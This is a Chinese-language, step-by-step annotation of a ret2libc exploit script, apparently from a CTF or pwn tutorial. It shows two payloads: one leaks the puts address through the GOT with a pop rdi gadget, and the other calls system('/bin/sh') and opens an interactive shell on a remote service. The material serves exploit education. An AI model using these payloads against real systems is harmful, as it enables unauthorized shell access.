ret2libc
获取puts函数的PLT(过程链接表)地址、GOT(全局偏移表)地址和_start符号的地址。
pop_rdi = 0x400763:这是pop rdi; ret指令的地址,用于控制rdi寄存器的值,以便调用puts函数。
payload1 = 'a'*(16+8) + p64(pop_rdi) +p64(puts_got) + p64(puts_plt) + p64(start_add):构建第一个攻击载荷。这个载荷首先填充了24个'a'字符(假设栈偏移量为24),然后是pop rdi; ret指令的地址,接着是puts的GOT地址(用于泄露地址),puts的PLT地址(用于实际调用puts),最后是_start地址(程序的入口点)。
p.sendline(payload1):发送第一个攻击载荷到远程服务。
puts_add = u64(p.recv(6).ljust(8,'\x00')):接收6个字节的数据,将其左对齐到8个字节,并转换为64位无符号整数。这个地址是puts函数的地址。
print(hex(puts_add)):打印puts函数的地址。
12-14. 计算libc库的基地址,system函数的地址和/bin/sh字符串的地址。
payload2 = 'a'*(16+8) + p64(pop_rdi) + p64(binsh)+ p64(system_add):构建第二个攻击载荷。这个载荷的结构与第一个类似,但是这次rdi寄存器被设置为/bin/sh字符串的地址,然后调用system函数。
p.sendline(payload2):发送第二个攻击载荷到远程服务。
p.interactive():进入交互模式,允许用户与远程服务进行交互,这通常是为了获取shell。